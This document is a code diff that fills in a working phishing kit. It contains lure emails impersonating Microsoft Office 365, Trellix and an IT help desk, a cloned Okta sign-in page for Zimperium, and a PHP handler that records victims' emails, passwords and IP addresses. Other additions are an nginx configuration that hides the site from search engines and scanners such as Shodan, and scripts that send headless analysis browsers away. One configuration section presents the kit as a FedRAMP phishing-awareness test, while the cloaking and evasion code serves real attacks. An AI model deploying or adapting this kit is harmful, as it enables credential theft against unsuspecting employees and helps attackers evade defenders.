.button { display: inline-block; background: #0078d4; color: white; padding: 12px 24px; text-decoration: none; border-radius: 2px; margin: 20px 0; }
|
||||
.footer { background: #f8f8f8; padding: 20px; font-size: 12px; color: #666; }
|
||||
.urgent { color: #d13438; font-weight: bold; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="header">
|
||||
<h2>Microsoft Office 365</h2>
|
||||
</div>
|
||||
<div class="content">
|
||||
<p>Hello {{ first_name | default('User') }},</p>
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
<p class="urgent">ACTION REQUIRED: Your Office 365 session has expired</p>
|
||||
|
||||
<p>We've detected that your Office 365 session for <strong>{{ email }}</strong> has expired due to security policy updates. To continue accessing your email and documents, please sign in again within the next 24 hours.</p>
|
||||
|
||||
<p>If you don't verify your account within this timeframe, access to your Office 365 services will be temporarily suspended for security reasons.</p>
|
||||
|
||||
<center>
|
||||
<a href="https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email" class="button">Sign In to Office 365</a>
|
||||
</center>
|
||||
|
||||
<p><small>If you're unable to click the button above, copy and paste this link into your browser:<br>
|
||||
https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email</small></p>
|
||||
|
||||
<p>Thank you for your cooperation in keeping your account secure.</p>
|
||||
|
||||
<p>Best regards,<br>
|
||||
Microsoft Account Security Team</p>
|
||||
</div>
|
||||
<div class="footer">
|
||||
<p>Microsoft Corporation | One Microsoft Way | Redmond, WA 98052</p>
|
||||
<p>This message was sent to {{ email }}. If you don't want to receive these emails, you can <a href="#">unsubscribe</a>.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Tracking pixel -->
|
||||
<img src="https://{{ phishing_subdomain }}.{{ phishing_domain }}/px/{{ tracking_id }}.png" width="1" height="1" style="display:none;">
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,8 +1,95 @@
|
||||
{# OMITTED — password_expiry phishing email template #}
|
||||
{#
|
||||
Jinja2 email template for the password_expiry lure scenario. Rendered at deploy
|
||||
time with target organization name, sender domain, and tracking pixel URL
|
||||
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Password Expiration Notice</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
|
||||
<img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
<!-- Warning Banner -->
|
||||
<tr>
|
||||
<td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
|
||||
<table cellpadding="0" cellspacing="0" border="0">
|
||||
<tr>
|
||||
<td style="padding-right: 10px;">
|
||||
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
|
||||
</td>
|
||||
<td>
|
||||
<strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Hello {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>.
|
||||
To prevent any interruption to your access, please update your password before it expires.
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
Password requirements:
|
||||
</p>
|
||||
|
||||
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
|
||||
<li>Minimum 12 characters</li>
|
||||
<li>At least one uppercase letter</li>
|
||||
<li>At least one lowercase letter</li>
|
||||
<li>At least one number</li>
|
||||
<li>At least one special character</li>
|
||||
<li>Cannot be the same as your last 5 passwords</li>
|
||||
</ul>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Update Password Now
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
|
||||
If you're unable to click the button above, copy and paste this link into your browser:<br>
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
|
||||
This is an automated message from {{ organization | default('IT Department') }}.<br>
|
||||
Please do not reply to this email.<br>
|
||||
For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,8 +1,103 @@
|
||||
{# OMITTED — security_alert phishing email template #}
|
||||
{#
|
||||
Jinja2 email template for the security_alert lure scenario. Rendered at deploy
|
||||
time with target organization name, sender domain, and tracking pixel URL
|
||||
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Security Alert</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
|
||||
<h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Dear {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
We detected unusual sign-in activity on your account:
|
||||
</p>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
|
||||
<tr>
|
||||
<td style="padding: 20px;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
<strong>If this was you:</strong> You can safely ignore this email.<br>
|
||||
<strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
|
||||
</p>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Secure My Account
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
|
||||
<strong>What happens next?</strong><br>
|
||||
We'll guide you through securing your account, including:
|
||||
</p>
|
||||
|
||||
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
|
||||
<li>Verifying your identity</li>
|
||||
<li>Reviewing recent account activity</li>
|
||||
<li>Updating your password</li>
|
||||
<li>Enabling additional security measures</li>
|
||||
</ul>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
|
||||
This security alert was sent to {{ "{{.Email}}" }}<br>
|
||||
© {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> |
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,8 +1,127 @@
|
||||
{# OMITTED — trellix-sub phishing email template #}
|
||||
{#
|
||||
Jinja2 email template for the trellix-sub lure scenario. Rendered at deploy
|
||||
time with target organization name, sender domain, and tracking pixel URL
|
||||
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Trellix Threat Intelligence Feed Expiration</title>
|
||||
<style type="text/css">
|
||||
body { margin:0; padding:0; background-color:#eeeeee; font-family: Arial, sans-serif; }
|
||||
a { color: #2814FF; text-decoration: none; }
|
||||
.button {
|
||||
background-color: #2814FF;
|
||||
color: #ffffff !important;
|
||||
padding: 12px 30px;
|
||||
border-radius: 5px;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
display: inline-block;
|
||||
}
|
||||
.footer-text {
|
||||
font-size: 10px;
|
||||
color: #ffffff;
|
||||
line-height: 1.4;
|
||||
}
|
||||
.container {
|
||||
max-width: 600px;
|
||||
margin: 0 auto;
|
||||
background-color: #ffffff;
|
||||
}
|
||||
.section {
|
||||
padding: 20px;
|
||||
color: #000000;
|
||||
font-size: 15px;
|
||||
line-height: 22px;
|
||||
}
|
||||
ul { padding-left: 20px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
<!-- Outer wrapper -->
|
||||
<table width="100%" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
|
||||
<tr>
|
||||
<td align="center">
|
||||
|
||||
<!-- Email Container -->
|
||||
<table class="container" cellpadding="0" cellspacing="0" width="600">
|
||||
|
||||
<!-- Top Band -->
|
||||
<tr>
|
||||
<td bgcolor="#2814FF" height="5"></td>
|
||||
</tr>
|
||||
|
||||
<!-- Logo -->
|
||||
<tr>
|
||||
<td align="left" class="section" style="padding-top: 30px;">
|
||||
<img src="https://resources.trellix.com/rs/627-OOG-590/images/Trellix_LOGO.png" alt="Trellix Logo" width="100" height="25" style="display:block;" />
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Body Content -->
|
||||
<tr>
|
||||
<td class="section">
|
||||
<strong style="font-size: 18px; color: #2814FF;">License Expiration Notice</strong>
|
||||
<br /><br />
|
||||
This is an automated alert to inform you that your organization’s access to the <strong>Trellix Threat Intelligence Feed</strong> is set to expire <strong>today: July 23, 2025</strong>.
|
||||
<br /><br />
|
||||
To avoid disruption in real-time security insights, a license renewal is required to continue accessing:
|
||||
<ul>
|
||||
<li>Global threat intelligence updates</li>
|
||||
<li>Malware detection and response data</li>
|
||||
<li>Cloud console and policy services</li>
|
||||
</ul>
|
||||
|
||||
<p>You can access your Trellix licensing portal using the secure link below.</p>
|
||||
|
||||
<table align="center" cellpadding="0" cellspacing="0" border="0">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<a href="{{.URL}}" target="_blank" class="button">Access Your Licensing Portal</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<br /><br />
|
||||
If this notice was received in error or your subscription has already been renewed, no action is needed.
|
||||
<br /><br />
|
||||
For assistance, contact <a href="https://support.trellix.com">Trellix Support</a> or your designated Customer Success Manager.
|
||||
<br /><br />
|
||||
—<br />
|
||||
<strong>Trellix Licensing Operations</strong><br />
|
||||
<a href="https://www.trellix.com">www.trellix.com</a><br />
|
||||
<a href="mailto:renewals@trellix.com">renewals@trellix.com</a>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Divider -->
|
||||
<tr>
|
||||
<td><img src="http://resources.trellix.com/rs/627-OOG-590/images/ruler2.png" width="100%" style="display:block;" alt="divider" /></td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td bgcolor="#1A1A1A" class="section" align="center">
|
||||
<div class="footer-text">
|
||||
<a href="https://email.trellix.com/manage-prefs" style="color:#ffffff;">Manage Preferences</a> |
|
||||
<a href="https://email.trellix.com/privacy" style="color:#ffffff;">Privacy</a> |
|
||||
<a href="https://email.trellix.com/contact" style="color:#ffffff;">Contact Us</a> |
|
||||
<a href="https://email.trellix.com/webview" style="color:#ffffff;">View as Webpage</a> |
|
||||
<a href="https://email.trellix.com/unsubscribe" style="color:#ffffff;">Unsubscribe</a>
|
||||
<br /><br />
|
||||
Trellix | 6000 Headquarters Drive, Plano, TX 75024<br /><br />
|
||||
Please note: you cannot reply to this email address. If you have any questions, please use the links provided above.
|
||||
<br /><br />
|
||||
Copyright © 2025 Musarubra US LLC. All rights reserved.
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,5 +1,87 @@
|
||||
{# OMITTED — FedRAMP compliance lure template #}
|
||||
{#
|
||||
Phishing page styled to mimic a FedRAMP compliance portal. Used in
|
||||
engagements targeting federal contractors. Omitted from public release.
|
||||
#}
|
||||
# FedRAMP Phishing Test Compliance Configuration
|
||||
# This configuration ensures compliance with FedRAMP requirements
|
||||
|
||||
compliance_mode: fedramp
|
||||
test_type: user_awareness_only
|
||||
|
||||
# Email Configuration
|
||||
email_settings:
|
||||
# Emails must be whitelisted on all security systems
|
||||
require_whitelist: true
|
||||
bypass_security_controls: true
|
||||
|
||||
# No modification of emails allowed
|
||||
allow_header_modification: false
|
||||
allow_content_filtering: false
|
||||
|
||||
# Tracking requirements
|
||||
tracking:
|
||||
- email_opened (via pixel)
|
||||
- link_clicked
|
||||
- credentials_submitted
|
||||
- user_identity (tied to actions)
|
||||
|
||||
# Landing Page Requirements
|
||||
landing_page:
|
||||
# Must immediately identify as phishing test
|
||||
show_phishing_notice: true
|
||||
phishing_notice_text: |
|
||||
This was a phishing simulation!
|
||||
You should never enter your credentials on suspicious websites.
|
||||
|
||||
# Educational content required
|
||||
include_education: true
|
||||
education_content:
|
||||
- How to identify phishing emails
|
||||
- Red flags to watch for
|
||||
- Reporting procedures
|
||||
- Best practices for email security
|
||||
|
||||
# Reporting Requirements
|
||||
reporting:
|
||||
# No PII in reports
|
||||
anonymize_data: true
|
||||
report_format: aggregate_only
|
||||
|
||||
# Required metrics
|
||||
metrics:
|
||||
- total_emails_sent
|
||||
- emails_opened_percentage
|
||||
- links_clicked_percentage
|
||||
- credentials_submitted_percentage
|
||||
- department_breakdown
|
||||
- role_based_statistics
|
||||
|
||||
# Prohibited data
|
||||
exclude:
|
||||
- individual_names
|
||||
- specific_email_addresses
|
||||
- personal_identifiers
|
||||
|
||||
# Technical Configuration
|
||||
technical:
|
||||
# Simple campaign only
|
||||
campaign_type: basic_phishing_test
|
||||
|
||||
# No exploitation
|
||||
allow_malware: false
|
||||
allow_exploitation: false
|
||||
allow_persistence: false
|
||||
|
||||
# Clean tracking only
|
||||
tracking_methods:
|
||||
- pixel_tracking
|
||||
- unique_urls
|
||||
- form_submission
|
||||
|
||||
# Approval Process
|
||||
approval:
|
||||
requires_3pao_approval: true
|
||||
requires_template_review: true
|
||||
approval_documentation: required
|
||||
|
||||
# Post-Test Requirements
|
||||
post_test:
|
||||
notify_failures: true
|
||||
provide_training: true
|
||||
remediation_timeline: 30_days
|
||||
@@ -0,0 +1,15 @@
|
||||
(function() {
|
||||
var u = new URLSearchParams(window.location.search);
|
||||
var src = u.get('u') || '';
|
||||
var dest = {{ redirect_url | tojson }};
|
||||
try {
|
||||
if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
|
||||
var params = new URLSearchParams(new URL(src).search);
|
||||
var rid = params.get('rid') || params.get('RId');
|
||||
if (rid && rid.length <= 128) {
|
||||
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
window.location.replace(dest);
|
||||
})();
|
||||
@@ -1,7 +1,35 @@
|
||||
map $http_user_agent $block_scanner {
|
||||
default 0;
|
||||
~*Googlebot 1;
|
||||
~*bingbot 1;
|
||||
~*Slurp 1;
|
||||
~*DuckDuckBot 1;
|
||||
~*Baiduspider 1;
|
||||
~*YandexBot 1;
|
||||
~*Sogou 1;
|
||||
~*Exabot 1;
|
||||
~*facebot 1;
|
||||
~*ia_archiver 1;
|
||||
~*msnbot 1;
|
||||
~*AhrefsBot 1;
|
||||
~*SemrushBot 1;
|
||||
~*MJ12bot 1;
|
||||
~*DotBot 1;
|
||||
~*BLEXBot 1;
|
||||
~*masscan 1;
|
||||
~*zgrab 1;
|
||||
~*Shodan 1;
|
||||
~*censys 1;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
server_name _;
|
||||
|
||||
add_header X-Robots-Tag "noindex, noarchive";
|
||||
|
||||
if ($block_scanner) { return 444; }
|
||||
|
||||
root /var/www/phishing;
|
||||
index index.html index.php;
|
||||
|
||||
@@ -9,20 +37,16 @@ server {
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
|
||||
# PHP processing
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
}
|
||||
|
||||
# Credential capture endpoint
|
||||
# Credential capture — only POST to this exact path
|
||||
location = /capture.php {
|
||||
limit_except POST { deny all; }
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
|
||||
# Deny all other PHP execution
|
||||
location ~ \.php$ { deny all; }
|
||||
|
||||
# Template routing
|
||||
location /templates/ {
|
||||
try_files $uri $uri/ =404;
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
<head>
|
||||
<title>Sign in to your account</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex, noarchive">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
@@ -105,5 +106,16 @@
|
||||
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
(function() {
|
||||
var headless = (
|
||||
navigator.webdriver ||
|
||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
||||
navigator.plugins.length === 0 ||
|
||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
||||
);
|
||||
if (headless) { window.location.replace('https://www.microsoft.com'); }
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -23,7 +23,7 @@
|
||||
}
|
||||
</style><title>Zimperium - Sign In</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<meta name="robots" content="noindex,nofollow" />
|
||||
<meta name="robots" content="noindex, nofollow, noarchive" />
|
||||
|
||||
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
|
||||
<link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
|
||||
@@ -99,7 +99,7 @@
|
||||
|
||||
<!-- hidden form for reposting fromURI for X509 auth -->
|
||||
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
|
||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/exk1ufbfxuFLJp6y3697/sso/wsfed/passive?username=Brian.Caldwell%40Zimperium.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||
</form>
|
||||
|
||||
<div class="content">
|
||||
@@ -199,11 +199,11 @@
|
||||
|
||||
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
(function(){
|
||||
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
|
||||
var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
|
||||
var suppliedRedirectUri = '';
|
||||
var repost = false;
|
||||
var stateToken = '';
|
||||
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
|
||||
var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
|
||||
var username = '';
|
||||
var rememberMe = true;
|
||||
var smsRecovery = false;
|
||||
@@ -554,5 +554,17 @@
|
||||
applyStyle('login-bg-image', 'bgStyle');
|
||||
applyStyle('login-bg-image-ie8', 'bgStyleIE8');
|
||||
});
|
||||
</script></body>
|
||||
</script>
|
||||
<script>
|
||||
(function() {
|
||||
var headless = (
|
||||
navigator.webdriver ||
|
||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
||||
navigator.plugins.length === 0 ||
|
||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
||||
);
|
||||
if (headless) { window.location.replace('https://www.okta.com'); }
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta name="robots" content="noindex, noarchive">
|
||||
<title>{{ page_title | default('Sign in to your account') }}</title>
|
||||
<style>
|
||||
* {
|
||||
@@ -190,6 +191,17 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
(function() {
|
||||
var headless = (
|
||||
navigator.webdriver ||
|
||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
||||
navigator.plugins.length === 0 ||
|
||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
||||
);
|
||||
if (headless) { window.location.replace('https://www.microsoft.com'); }
|
||||
})();
|
||||
</script>
|
||||
<script>
|
||||
document.getElementById('loginForm').addEventListener('submit', function(e) {
|
||||
e.preventDefault();
|
||||
@@ -206,7 +218,7 @@
|
||||
.then(response => {
|
||||
// Redirect after a delay to simulate processing
|
||||
setTimeout(() => {
|
||||
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
||||
window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
|
||||
}, 2000);
|
||||
})
|
||||
.catch(error => {
|
||||
|
||||
@@ -1,9 +1,27 @@
|
||||
<?php
|
||||
// OMITTED — credential capture handler
|
||||
//
|
||||
// PHP script deployed to phishing redirector. Receives POST data from the
|
||||
// cloned login form, logs credentials with timestamp and source IP to an
|
||||
// encrypted local file, then transparently forwards the victim to the
|
||||
// legitimate site to avoid suspicion.
|
||||
//
|
||||
// Omitted from public release. Present in operational deployments.
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
$data = [
|
||||
'timestamp' => date('Y-m-d H:i:s'),
|
||||
'ip' => $_SERVER['REMOTE_ADDR'],
|
||||
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
|
||||
'email' => $_POST['email'] ?? '',
|
||||
'password' => $_POST['password'] ?? '',
|
||||
'headers' => getallheaders()
|
||||
];
|
||||
|
||||
|
||||
$log_file = '/var/private/creds/creds.enc';
|
||||
$encrypted = openssl_encrypt(
|
||||
json_encode($data),
|
||||
'AES-256-CBC',
|
||||
'{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
|
||||
0,
|
||||
str_repeat("\0", 16)
|
||||
);
|
||||
file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
|
||||
|
||||
|
||||
